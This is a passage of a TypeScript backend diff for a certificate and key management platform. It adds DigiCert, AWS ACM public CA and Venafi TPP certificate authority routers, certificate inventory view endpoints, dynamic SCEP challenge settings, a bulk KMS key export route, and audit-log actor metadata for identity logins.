+    createSchema: CreateAwsAcmPublicCaCertificateAuthoritySchema,
+    updateSchema: UpdateAwsAcmPublicCaCertificateAuthoritySchema
+  });
+};
diff --git a/backend/src/server/routes/v1/certificate-authority-routers/digicert-certificate-authority-router.ts b/backend/src/server/routes/v1/certificate-authority-routers/digicert-certificate-authority-router.ts
new file mode 100644
index 00000000000..8e34e3c2d1a
--- /dev/null
+++ b/backend/src/server/routes/v1/certificate-authority-routers/digicert-certificate-authority-router.ts
@@ -0,0 +1,18 @@
+import { CaType } from "@app/services/certificate-authority/certificate-authority-enums";
+import {
+  CreateDigiCertCertificateAuthoritySchema,
+  DigiCertCertificateAuthoritySchema,
+  UpdateDigiCertCertificateAuthoritySchema
+} from "@app/services/certificate-authority/digicert/digicert-certificate-authority-schemas";
+
+import { registerCertificateAuthorityEndpoints } from "./certificate-authority-endpoints";
+
+export const registerDigiCertCertificateAuthorityRouter = async (server: FastifyZodProvider) => {
+  registerCertificateAuthorityEndpoints({
+    caType: CaType.DIGICERT,
+    server,
+    responseSchema: DigiCertCertificateAuthoritySchema,
+    createSchema: CreateDigiCertCertificateAuthoritySchema,
+    updateSchema: UpdateDigiCertCertificateAuthoritySchema
+  });
+};
diff --git a/backend/src/server/routes/v1/certificate-authority-routers/general-certificate-authority-router.ts b/backend/src/server/routes/v1/certificate-authority-routers/general-certificate-authority-router.ts
index 81f36c9e7a6..d417ce835ef 100644
--- a/backend/src/server/routes/v1/certificate-authority-routers/general-certificate-authority-router.ts
+++ b/backend/src/server/routes/v1/certificate-authority-routers/general-certificate-authority-router.ts
@@ -6,16 +6,22 @@ import { readLimit } from "@app/server/config/rateLimiter";
 import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
 import { AuthMode } from "@app/services/auth/auth-type";
 import { AcmeCertificateAuthoritySchema } from "@app/services/certificate-authority/acme/acme-certificate-authority-schemas";
+import { AwsAcmPublicCaCertificateAuthoritySchema } from "@app/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-schemas";
 import { AwsPcaCertificateAuthoritySchema } from "@app/services/certificate-authority/aws-pca/aws-pca-certificate-authority-schemas";
 import { AzureAdCsCertificateAuthoritySchema } from "@app/services/certificate-authority/azure-ad-cs/azure-ad-cs-certificate-authority-schemas";
 import { CaType } from "@app/services/certificate-authority/certificate-authority-enums";
+import { DigiCertCertificateAuthoritySchema } from "@app/services/certificate-authority/digicert/digicert-certificate-authority-schemas";
 import { InternalCertificateAuthoritySchema } from "@app/services/certificate-authority/internal/internal-certificate-authority-schemas";
+import { VenafiTppCertificateAuthoritySchema } from "@app/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-schemas";
 
 const CertificateAuthoritySchema = z.discriminatedUnion("type", [
   InternalCertificateAuthoritySchema,
   AcmeCertificateAuthoritySchema,
   AzureAdCsCertificateAuthoritySchema,
-  AwsPcaCertificateAuthoritySchema
+  AwsPcaCertificateAuthoritySchema,
+  DigiCertCertificateAuthoritySchema,
+  AwsAcmPublicCaCertificateAuthoritySchema,
+  VenafiTppCertificateAuthoritySchema
 ]);
 
 export const registerGeneralCertificateAuthorityRouter = async (server: FastifyZodProvider) => {
@@ -73,6 +79,30 @@ export const registerGeneralCertificateAuthorityRouter = async (server: FastifyZ
         req.permission
       );
 
+      const digicertCas = await server.services.certificateAuthority.listCertificateAuthoritiesByProjectId(
+        {
+          projectId: req.query.projectId,
+          type: CaType.DIGICERT
+        },
+        req.permission
+      );
+
+      const awsAcmPublicCas = await server.services.certificateAuthority.listCertificateAuthoritiesByProjectId(
+        {
+          projectId: req.query.projectId,
+          type: CaType.AWS_ACM_PUBLIC_CA
+        },
+        req.permission
+      );
+
+      const venafiTppCas = await server.services.certificateAuthority.listCertificateAuthoritiesByProjectId(
+        {
+          projectId: req.query.projectId,
+          type: CaType.VENAFI_TPP
+        },
+        req.permission
+      );
+
       await server.services.auditLog.createAuditLog({
         ...req.auditLogInfo,
         projectId: req.query.projectId,
@@ -83,7 +113,10 @@ export const registerGeneralCertificateAuthorityRouter = async (server: FastifyZ
               ...(internalCas ?? []).map((ca) => ca.id),
               ...(acmeCas ?? []).map((ca) => ca.id),
               ...(azureAdCsCas ?? []).map((ca) => ca.id),
-              ...(awsPcaCas ?? []).map((ca) => ca.id)
+              ...(awsPcaCas ?? []).map((ca) => ca.id),
+              ...(digicertCas ?? []).map((ca) => ca.id),
+              ...(awsAcmPublicCas ?? []).map((ca) => ca.id),
+              ...(venafiTppCas ?? []).map((ca) => ca.id)
             ]
           }
         }
@@ -94,7 +127,10 @@ export const registerGeneralCertificateAuthorityRouter = async (server: FastifyZ
           ...(internalCas ?? []),
           ...(acmeCas ?? []),
           ...(azureAdCsCas ?? []),
-          ...(awsPcaCas ?? [])
+          ...(awsPcaCas ?? []),
+          ...(digicertCas ?? []),
+          ...(awsAcmPublicCas ?? []),
+          ...(venafiTppCas ?? [])
         ]
       };
     }
diff --git a/backend/src/server/routes/v1/certificate-authority-routers/index.ts b/backend/src/server/routes/v1/certificate-authority-routers/index.ts
index 5b87322ac52..2e34156748d 100644
--- a/backend/src/server/routes/v1/certificate-authority-routers/index.ts
+++ b/backend/src/server/routes/v1/certificate-authority-routers/index.ts
@@ -1,9 +1,12 @@
 import { CaType } from "@app/services/certificate-authority/certificate-authority-enums";
 
 import { registerAcmeCertificateAuthorityRouter } from "./acme-certificate-authority-router";
+import { registerAwsAcmPublicCaCertificateAuthorityRouter } from "./aws-acm-public-ca-certificate-authority-router";
 import { registerAwsPcaCertificateAuthorityRouter } from "./aws-pca-certificate-authority-router";
 import { registerAzureAdCsCertificateAuthorityRouter } from "./azure-ad-cs-certificate-authority-router";
+import { registerDigiCertCertificateAuthorityRouter } from "./digicert-certificate-authority-router";
 import { registerInternalCertificateAuthorityRouter } from "./internal-certificate-authority-router";
+import { registerVenafiTppCertificateAuthorityRouter } from "./venafi-tpp-certificate-authority-router";
 
 export * from "./internal-certificate-authority-router";
 
@@ -12,5 +15,8 @@ export const CERTIFICATE_AUTHORITY_REGISTER_ROUTER_MAP: Record<CaType, (server:
     [CaType.INTERNAL]: registerInternalCertificateAuthorityRouter,
     [CaType.ACME]: registerAcmeCertificateAuthorityRouter,
     [CaType.AZURE_AD_CS]: registerAzureAdCsCertificateAuthorityRouter,
-    [CaType.AWS_PCA]: registerAwsPcaCertificateAuthorityRouter
+    [CaType.AWS_PCA]: registerAwsPcaCertificateAuthorityRouter,
+    [CaType.DIGICERT]: registerDigiCertCertificateAuthorityRouter,
+    [CaType.AWS_ACM_PUBLIC_CA]: registerAwsAcmPublicCaCertificateAuthorityRouter,
+    [CaType.VENAFI_TPP]: registerVenafiTppCertificateAuthorityRouter
   };
diff --git a/backend/src/server/routes/v1/certificate-authority-routers/venafi-tpp-certificate-authority-router.ts b/backend/src/server/routes/v1/certificate-authority-routers/venafi-tpp-certificate-authority-router.ts
new file mode 100644
index 00000000000..5e3c45ccfda
--- /dev/null
+++ b/backend/src/server/routes/v1/certificate-authority-routers/venafi-tpp-certificate-authority-router.ts
@@ -0,0 +1,18 @@
+import { CaType } from "@app/services/certificate-authority/certificate-authority-enums";
+import {
+  CreateVenafiTppCertificateAuthoritySchema,
+  UpdateVenafiTppCertificateAuthoritySchema,
+  VenafiTppCertificateAuthoritySchema
+} from "@app/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-schemas";
+
+import { registerCertificateAuthorityEndpoints } from "./certificate-authority-endpoints";
+
+export const registerVenafiTppCertificateAuthorityRouter = async (server: FastifyZodProvider) => {
+  registerCertificateAuthorityEndpoints({
+    caType: CaType.VENAFI_TPP,
+    server,
+    responseSchema: VenafiTppCertificateAuthoritySchema,
+    createSchema: CreateVenafiTppCertificateAuthoritySchema,
+    updateSchema: UpdateVenafiTppCertificateAuthoritySchema
+  });
+};
diff --git a/backend/src/server/routes/v1/certificate-inventory-view-router.ts b/backend/src/server/routes/v1/certificate-inventory-view-router.ts
new file mode 100644
index 00000000000..80909783ffc
--- /dev/null
+++ b/backend/src/server/routes/v1/certificate-inventory-view-router.ts
@@ -0,0 +1,260 @@
+import { z } from "zod";
+
+import { CertificateInventoryViewsSchema } from "@app/db/schemas";
+import { EventType } from "@app/ee/services/audit-log/audit-log-types";
+import { ApiDocsTags } from "@app/lib/api-docs";
+import { readLimit, writeLimit } from "@app/server/config/rateLimiter";
+import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
+import { AuthMode } from "@app/services/auth/auth-type";
+
+const InventoryViewFiltersSchema = z
+  .object({
+    status: z.string().max(100).optional(),
+    notAfterTo: z.coerce.date().optional(),
+    notAfterFrom: z.coerce.date().optional(),
+    notBeforeTo: z.coerce.date().optional(),
+    notBeforeFrom: z.coerce.date().optional(),
+    enrollmentTypes: z.array(z.string().max(64)).max(10).optional(),
+    keyAlgorithm: z.union([z.string().max(64), z.array(z.string().max(64)).max(10)]).optional(),
+    keySizes: z.array(z.number().int().positive()).max(10).optional(),
+    caIds: z.array(z.string().uuid()).max(50).optional(),
+    profileIds: z.array(z.string().uuid()).max(50).optional(),
+    source: z.union([z.string().max(64), z.array(z.string().max(64)).max(10)]).optional()
+  })
+  .strict();
+
+const ValidColumns = [
+  "sanCn",
+  "serialNumber",
+  "enrollmentMethod",
+  "status",
+  "health",
+  "issuedAt",
+  "expiresAt",
+  "ca",
+  "profile",
+  "algorithm",
+  "source"
+] as const;
+
+const ColumnsSchema = z.array(z.enum(ValidColumns)).max(20);
+
+export const registerCertificateInventoryViewRouter = async (server: FastifyZodProvider) => {
+  server.route({
+    method: "GET",
+    url: "/:projectId/certificate-inventory-views",
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      hide: true,
+      operationId: "listCertificateInventoryViews",
+      tags: [ApiDocsTags.PkiCertificates],
+      description: "List system and custom certificate inventory views for a project.",
+      params: z.object({
+        projectId: z.string().trim()
+      }),
+      response: {
+        200: z.object({
+          systemViews: z.array(
+            z.object({
+              id: z.string(),
+              name: z.string(),
+              filters: z.object({
+                status: z.array(z.string()).optional(),
+                notAfterTo: z.string().optional()
+              }),
+              columns: z.null(),
+              isSystem: z.literal(true),
+              createdByUserId: z.null()
+            })
+          ),
+          sharedViews: z.array(
+            CertificateInventoryViewsSchema.extend({
+              isSystem: z.literal(false),
+              isShared: z.literal(true)
+            })
+          ),
+          customViews: z.array(
+            CertificateInventoryViewsSchema.extend({
+              isSystem: z.literal(false),
+              isShared: z.literal(false)
+            })
+          )
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      return server.services.certificateInventoryView.listViews({
+        projectId: req.params.projectId,
+        actorId: req.permission.id,
+        actorOrgId: req.permission.orgId,
+        actorAuthMethod: req.permission.authMethod,
+        actor: req.permission.type
+      });
+    }
+  });
+
+  server.route({
+    method: "POST",
+    url: "/:projectId/certificate-inventory-views",
+    config: {
+      rateLimit: writeLimit
+    },
+    schema: {
+      hide: true,
+      operationId: "createCertificateInventoryView",
+      tags: [ApiDocsTags.PkiCertificates],
+      description: "Create a custom certificate inventory view.",
+      params: z.object({
+        projectId: z.string().trim()
+      }),
+      body: z.object({
+        name: z.string().trim().min(1).max(255),
+        filters: InventoryViewFiltersSchema.default({}),
+        columns: ColumnsSchema.optional(),
+        isShared: z.boolean().default(false).optional()
+      }),
+      response: {
+        200: z.object({
+          view: CertificateInventoryViewsSchema
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const view = await server.services.certificateInventoryView.createView({
+        projectId: req.params.projectId,
+        name: req.body.name,
+        filters: req.body.filters,
+        columns: req.body.columns,
+        isShared: req.body.isShared,
+        actorId: req.permission.id,
+        actorOrgId: req.permission.orgId,
+        actorAuthMethod: req.permission.authMethod,
+        actor: req.permission.type
+      });
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        projectId: req.params.projectId,
+        event: {
+          type: EventType.CREATE_CERTIFICATE_INVENTORY_VIEW,
+          metadata: {
+            viewId: view.id,
+            name: view.name,
+            filters: req.body.filters,
+            columns: req.body.columns,
+            isShared: req.body.isShared
+          }
+        }
+      });
+      return { view };
+    }
+  });
+
+  server.route({
+    method: "PATCH",
+    url: "/:projectId/certificate-inventory-views/:viewId",
+    config: {
+      rateLimit: writeLimit
+    },
+    schema: {
+      hide: true,
+      operationId: "updateCertificateInventoryView",
+      tags: [ApiDocsTags.PkiCertificates],
+      description: "Update a custom certificate inventory view.",
+      params: z.object({
+        projectId: z.string().trim(),
+        viewId: z.string().uuid()
+      }),
+      body: z.object({
+        name: z.string().trim().min(1).max(255).optional(),
+        filters: InventoryViewFiltersSchema.optional(),
+        columns: ColumnsSchema.optional(),
+        isShared: z.boolean().optional()
+      }),
+      response: {
+        200: z.object({
+          view: CertificateInventoryViewsSchema
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const view = await server.services.certificateInventoryView.updateView({
+        viewId: req.params.viewId,
+        projectId: req.params.projectId,
+        name: req.body.name,
+        filters: req.body.filters,
+        columns: req.body.columns,
+        isShared: req.body.isShared,
+        actorId: req.permission.id,
+        actorOrgId: req.permission.orgId,
+        actorAuthMethod: req.permission.authMethod,
+        actor: req.permission.type
+      });
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        projectId: req.params.projectId,
+        event: {
+          type: EventType.UPDATE_CERTIFICATE_INVENTORY_VIEW,
+          metadata: {
+            viewId: view.id,
+            name: view.name,
+            filters: req.body.filters,
+            columns: req.body.columns,
+            isShared: req.body.isShared
+          }
+        }
+      });
+      return { view };
+    }
+  });
+
+  server.route({
+    method: "DELETE",
+    url: "/:projectId/certificate-inventory-views/:viewId",
+    config: {
+      rateLimit: writeLimit
+    },
+    schema: {
+      hide: true,
+      operationId: "deleteCertificateInventoryView",
+      tags: [ApiDocsTags.PkiCertificates],
+      description: "Delete a custom certificate inventory view.",
+      params: z.object({
+        projectId: z.string().trim(),
+        viewId: z.string().uuid()
+      }),
+      response: {
+        200: z.object({
+          view: CertificateInventoryViewsSchema
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const view = await server.services.certificateInventoryView.deleteView({
+        viewId: req.params.viewId,
+        projectId: req.params.projectId,
+        actorId: req.permission.id,
+        actorOrgId: req.permission.orgId,
+        actorAuthMethod: req.permission.authMethod,
+        actor: req.permission.type
+      });
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        projectId: req.params.projectId,
+        event: {
+          type: EventType.DELETE_CERTIFICATE_INVENTORY_VIEW,
+          metadata: {
+            viewId: req.params.viewId,
+            name: view.name
+          }
+        }
+      });
+      return { view };
+    }
+  });
+};
diff --git a/backend/src/server/routes/v1/certificate-profiles-router.ts b/backend/src/server/routes/v1/certificate-profiles-router.ts
index 37a53e8c75d..2e3f354ebf2 100644
--- a/backend/src/server/routes/v1/certificate-profiles-router.ts
+++ b/backend/src/server/routes/v1/certificate-profiles-router.ts
@@ -3,6 +3,7 @@ import { z } from "zod";
 
 import { PkiCertificateProfilesSchema } from "@app/db/schemas";
 import { EventType } from "@app/ee/services/audit-log/audit-log-types";
+import { ScepChallengeType } from "@app/ee/services/pki-scep/challenge";
 import { ApiDocsTags } from "@app/lib/api-docs";
 import { readLimit, writeLimit } from "@app/server/config/rateLimiter";
 import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
@@ -87,9 +88,12 @@ export const registerCertificateProfilesRouter = async (
             .optional(),
           scepConfig: z
             .object({
-              challengePassword: z.string().min(8),
+              challengeType: z.nativeEnum(ScepChallengeType).default(ScepChallengeType.STATIC),
+              challengePassword: z.string().optional(),
               includeCaCertInResponse: z.boolean().optional(),
-              allowCertBasedRenewal: z.boolean().optional()
+              allowCertBasedRenewal: z.boolean().optional(),
+              dynamicChallengeExpiryMinutes: z.number().int().min(1).max(1440).default(60),
+              dynamicChallengeMaxPending: z.number().int().min(1).max(1000).default(100)
             })
             .optional(),
           externalConfigs: ExternalConfigUnionSchema,
@@ -195,12 +199,15 @@ export const registerCertificateProfilesRouter = async (
         .refine(
           (data) => {
             if (data.enrollmentType === EnrollmentType.SCEP) {
-              return !!data.scepConfig?.challengePassword;
+              if (!data.scepConfig) return false;
+              // Static mode requires a challenge password with min 8 chars; dynamic mode does not
+              if (data.scepConfig.challengeType === ScepChallengeType.DYNAMIC) return true;
+              return !!data.scepConfig.challengePassword && data.scepConfig.challengePassword.length >= 8;
             }
             return true;
           },
           {
-            message: "SCEP enrollment type requires SCEP configuration with a challenge password"
+            message: "SCEP static challenge requires a challenge password with at least 8 characters"
           }
         )
         .refine(
@@ -357,7 +364,11 @@ export const registerCertificateProfilesRouter = async (
                 raCertificatePem: z.string(),
                 raCertExpiresAt: z.date(),
                 includeCaCertInResponse: z.boolean(),
-                allowCertBasedRenewal: z.boolean()
+                allowCertBasedRenewal: z.boolean(),
+                challengeType: z.string(),
+                challengeEndpointUrl: z.string().optional(),
+                dynamicChallengeExpiryMinutes: z.number().optional(),
+                dynamicChallengeMaxPending: z.number().optional()
               })
               .optional(),
             externalConfigs: ExternalConfigUnionSchema,
@@ -459,7 +470,11 @@ export const registerCertificateProfilesRouter = async (
                 raCertificatePem: z.string(),
                 raCertExpiresAt: z.date(),
                 includeCaCertInResponse: z.boolean(),
-                allowCertBasedRenewal: z.boolean()
+                allowCertBasedRenewal: z.boolean(),
+                challengeType: z.string(),
+                challengeEndpointUrl: z.string().optional(),
+                dynamicChallengeExpiryMinutes: z.number().optional(),
+                dynamicChallengeMaxPending: z.number().optional()
               })
               .optional(),
             externalConfigs: ExternalConfigUnionSchema
@@ -578,9 +593,12 @@ export const registerCertificateProfilesRouter = async (
             .optional(),
           scepConfig: z
             .object({
-              challengePassword: z.string().min(8).optional(),
+              challengeType: z.nativeEnum(ScepChallengeType).optional(),
+              challengePassword: z.string().optional(),
               includeCaCertInResponse: z.boolean().optional(),
-              allowCertBasedRenewal: z.boolean().optional()
+              allowCertBasedRenewal: z.boolean().optional(),
+              dynamicChallengeExpiryMinutes: z.number().int().min(1).max(1440).optional(),
+              dynamicChallengeMaxPending: z.number().int().min(1).max(1000).optional()
             })
             .optional(),
           externalConfigs: ExternalConfigUnionSchema,
@@ -634,6 +652,18 @@ export const registerCertificateProfilesRouter = async (
           {
             message: "Cannot skip both External Account Binding (EAB) and DNS ownership verification at the same time."
           }
+        )
+        .refine(
+          (data) => {
+            if (data.scepConfig?.challengePassword) {
+              if (data.scepConfig.challengeType === ScepChallengeType.DYNAMIC) return true;
+              return data.scepConfig.challengePassword.length >= 8;
+            }
+            return true;
+          },
+          {
+            message: "SCEP static challenge requires a challenge password with at least 8 characters"
+          }
         ),
       response: {
         200: z.object({
diff --git a/backend/src/server/routes/v1/certificate-router.ts b/backend/src/server/routes/v1/certificate-router.ts
index c8302db3e16..2bacc31be08 100644
--- a/backend/src/server/routes/v1/certificate-router.ts
+++ b/backend/src/server/routes/v1/certificate-router.ts
@@ -436,6 +436,63 @@ export const registerCertificateRouter = async (server: FastifyZodProvider) => {
     }
   });
 
+  server.route({
+    method: "POST",
+    url: "/certificate-requests/:requestId/trigger-validation",
+    config: {
+      rateLimit: writeLimit
+    },
+    schema: {
+      hide: false,
+      operationId: "triggerCertificateRequestValidation",
+      tags: [ApiDocsTags.PkiCertificates],
+      description: "Manually ask the issuing CA to re-check validation for a pending certificate request",
+      params: z.object({
+        requestId: z.string().uuid()
+      }),
+      response: {
+        200: z.object({
+          status: z.nativeEnum(CertificateRequestStatus),
+          orderStatus: z.string().optional()
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const result = await server.services.certificateAuthority.triggerCertificateRequestValidation({
+        actor: req.permission.type,
+        actorId: req.permission.id,
+        actorAuthMethod: req.permission.authMethod,
+        actorOrgId: req.permission.orgId,
+        certificateRequestId: req.params.requestId
+      });
+
+      const orderStatus = "orderStatus" in result ? result.orderStatus : undefined;
+      const mappedStatus =
+        result.status === "skipped"
+          ? CertificateRequestStatus.PENDING_VALIDATION
+          : (result.status as CertificateRequestStatus);
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        projectId: result.projectId,
+        event: {
+          type: EventType.TRIGGER_CERTIFICATE_REQUEST_VALIDATION,
+          metadata: {
+            certificateRequestId: req.params.requestId,
+            status: mappedStatus,
+            orderStatus
+          }
+        }
+      });
+
+      return {
+        status: mappedStatus,
+        orderStatus
+      };
+    }
+  });
+
   server.route({
     method: "GET",
     url: "/certificate-requests",
diff --git a/backend/src/server/routes/v1/cmek-router.ts b/backend/src/server/routes/v1/cmek-router.ts
index bb45738625b..0a6ded8679e 100644
--- a/backend/src/server/routes/v1/cmek-router.ts
+++ b/backend/src/server/routes/v1/cmek-router.ts
@@ -518,6 +518,60 @@ export const registerCmekRouter = async (server: FastifyZodProvider) => {
     }
   });
 
+  server.route({
+    method: "POST",
+    url: "/keys/bulk-export-private-keys",
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      hide: false,
+      operationId: "bulkExportKmsKeyPrivateKeys",
+      tags: [ApiDocsTags.KmsKeys],
+      description:
+        "Bulk export multiple KMS keys. For asymmetric keys (sign/verify), both private and public keys are returned. For symmetric keys (encrypt/decrypt), the key material is returned.",
+      body: z.object({
+        keyIds: z.array(z.string().uuid().describe(KMS.BULK_EXPORT_PRIVATE_KEYS.keyIds)).min(1).max(100)
+      }),
+      response: {
+        200: z.object({
+          keys: z.array(
+            z.object({
+              keyId: z.string(),
+              name: z.string(),
+              keyUsage: z.string(),
+              algorithm: z.string(),
+              privateKey: z.string(),
+              publicKey: z.string().optional()
+            })
+          )
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const {
+        body: { keyIds },
+        permission
+      } = req;
+
+      const { keys, projectId } = await server.services.cmek.bulkGetPrivateKeys({ keyIds }, permission);
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        projectId,
+        event: {
+          type: EventType.CMEK_BULK_EXPORT_PRIVATE_KEYS,
+          metadata: {
+            keys: keys.map((k) => ({ keyId: k.keyId, name: k.name }))
+          }
+        }
+      });
+
+      return { keys };
+    }
+  });
+
   server.route({
     method: "GET",
     url: "/keys/:keyId/signing-algorithms",
diff --git a/backend/src/server/routes/v1/dashboard-router.ts b/backend/src/server/routes/v1/dashboard-router.ts
index 083daa20a9d..fd64ad84824 100644
--- a/backend/src/server/routes/v1/dashboard-router.ts
+++ b/backend/src/server/routes/v1/dashboard-router.ts
@@ -1686,7 +1686,7 @@ export const registerDashboardRouter = async (server: FastifyZodProvider) => {
       }),
       querystring: z.object({
         offset: z.coerce.number(),
-        limit: z.coerce.number()
+        limit: z.coerce.number().max(1000)
       }),
       response: {
         200: z.object({
diff --git a/backend/src/server/routes/v1/identity-alicloud-auth-router.ts b/backend/src/server/routes/v1/identity-alicloud-auth-router.ts
index feaf8d6bb67..cdfa5560239 100644
--- a/backend/src/server/routes/v1/identity-alicloud-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-alicloud-auth-router.ts
@@ -86,6 +86,13 @@ export const registerIdentityAliCloudAuthRouter = async (server: FastifyZodProvi
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: identityAliCloudAuth.identityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_ALICLOUD_AUTH,
diff --git a/backend/src/server/routes/v1/identity-aws-iam-auth-router.ts b/backend/src/server/routes/v1/identity-aws-iam-auth-router.ts
index bdd794226ee..1738f53795f 100644
--- a/backend/src/server/routes/v1/identity-aws-iam-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-aws-iam-auth-router.ts
@@ -53,6 +53,13 @@ export const registerIdentityAwsAuthRouter = async (server: FastifyZodProvider)
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: identityAwsAuth.identityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_AWS_AUTH,
diff --git a/backend/src/server/routes/v1/identity-azure-auth-router.ts b/backend/src/server/routes/v1/identity-azure-auth-router.ts
index f8b7ee0c179..c8e1790e65c 100644
--- a/backend/src/server/routes/v1/identity-azure-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-azure-auth-router.ts
@@ -48,6 +48,13 @@ export const registerIdentityAzureAuthRouter = async (server: FastifyZodProvider
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: identityAzureAuth.identityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_AZURE_AUTH,
diff --git a/backend/src/server/routes/v1/identity-gcp-auth-router.ts b/backend/src/server/routes/v1/identity-gcp-auth-router.ts
index ddd117ea9a4..08b8a9a5010 100644
--- a/backend/src/server/routes/v1/identity-gcp-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-gcp-auth-router.ts
@@ -48,6 +48,13 @@ export const registerIdentityGcpAuthRouter = async (server: FastifyZodProvider)
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: identityGcpAuth.identityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_GCP_AUTH,
diff --git a/backend/src/server/routes/v1/identity-jwt-auth-router.ts b/backend/src/server/routes/v1/identity-jwt-auth-router.ts
index ffe14269c99..b415f15b195 100644
--- a/backend/src/server/routes/v1/identity-jwt-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-jwt-auth-router.ts
@@ -124,6 +124,13 @@ export const registerIdentityJwtAuthRouter = async (server: FastifyZodProvider)
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: identityJwtAuth.identityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_JWT_AUTH,
diff --git a/backend/src/server/routes/v1/identity-kubernetes-auth-router.ts b/backend/src/server/routes/v1/identity-kubernetes-auth-router.ts
index 46aa20732ce..8e728b7395d 100644
--- a/backend/src/server/routes/v1/identity-kubernetes-auth-router.ts
+++ b/backend/src/server/routes/v1/identity-kubernetes-auth-router.ts
@@ -30,7 +30,8 @@ const IdentityKubernetesAuthResponseSchema = IdentityKubernetesAuthsSchema.pick(
   allowedNamespaces: true,
   allowedNames: true,
   allowedAudience: true,
-  gatewayId: true
+  gatewayId: true,
+  gatewayPoolId: true
 }).extend({
   caCert: z.string(),
   tokenReviewerJwt: z.string().optional().nullable()
@@ -69,6 +70,13 @@ export const registerIdentityKubernetesRouter = async (server: FastifyZodProvide
 
         await server.services.auditLog.createAuditLog({
           ...req.auditLogInfo,
+          actor: {
+            type: ActorType.IDENTITY,
+            metadata: {
+              identityId: identityKubernetesAuth.identityId,
+              name: identity.name
+            }
+          },
           orgId: identity.orgId,
           event: {
             type: EventType.LOGIN_IDENTITY_KUBERNETES_AUTH,
@@ -189,6 +197,7 @@ export const registerIdentityKubernetesRouter = async (server: FastifyZodProvide
           allowedNames: z.string().describe(KUBERNETES_AUTH.ATTACH.allowedNames),
           allowedAudience: z.string().describe(KUBERNETES_AUTH.ATTACH.allowedAudience),
           gatewayId: z.string().uuid().optional().nullable().describe(KUBERNETES_AUTH.ATTACH.gatewayId),
+          gatewayPoolId: z.string().uuid().optional().nullable(),
           accessTokenTrustedIps: z
             .object({
               ipAddress: z.string().trim()
@@ -226,11 +235,22 @@ export const registerIdentityKubernetesRouter = async (server: FastifyZodProvide
               message: "When token review mode is set to API, a Kubernetes host must be provided"
             });
           }
-          if (data.tokenReviewMode === IdentityKubernetesAuthTokenReviewMode.Gateway && !data.gatewayId) {
+          if (
+            data.tokenReviewMode === IdentityKubernetesAuthTokenReviewMode.Gateway &&
+            !data.gatewayId &&
+            !data.gatewayPoolId
+          ) {
             ctx.addIssue({
               path: ["gatewayId"],
               code: z.ZodIssueCode.custom,
-              message: "When token review mode is set to Gateway, a gateway must be selected"
+              message: "When token review mode is set to Gateway, a gateway or gateway pool must be selected"
+            });
+          }
+          if (data.gatewayId && data.gatewayPoolId) {
+            ctx.addIssue({
+              path: ["gatewayPoolId"],
+              code: z.ZodIssueCode.custom,
+              message: "Cannot specify both a gateway and a gateway pool"
             });
           }
 
@@ -353,6 +373,7 @@ export const registerIdentityKubernetesRouter = async (server: FastifyZodProvide
           allowedNames: z.string().optional().describe(KUBERNETES_AUTH.UPDATE.allowedNames),
           allowedAudience: z.string().optional().describe(KUBERNETES_AUTH.UPDATE.allowedAudience),
           gatewayId: z.string().uuid().optional().nullable().describe(KUBERNETES_AUTH.UPDATE.gatewayId),
+          gatewayPoolId: z.string().uuid().optional().nullable(),
           accessTokenTrustedIps: z
             .object({
               ipAddress: z.string().trim()
@@ -386,12 +407,20 @@ export const registerIdentityKubernetesRouter = async (server: FastifyZodProvide
           if (
             data.tokenReviewMode &&
             data.tokenReviewMode === IdentityKubernetesAuthTokenReviewMode.Gateway &&
-            !data.gatewayId
+            !data.gatewayId &&
+            !data.gatewayPoolId
           ) {
             ctx.addIssue({
               path: ["gatewayId"],
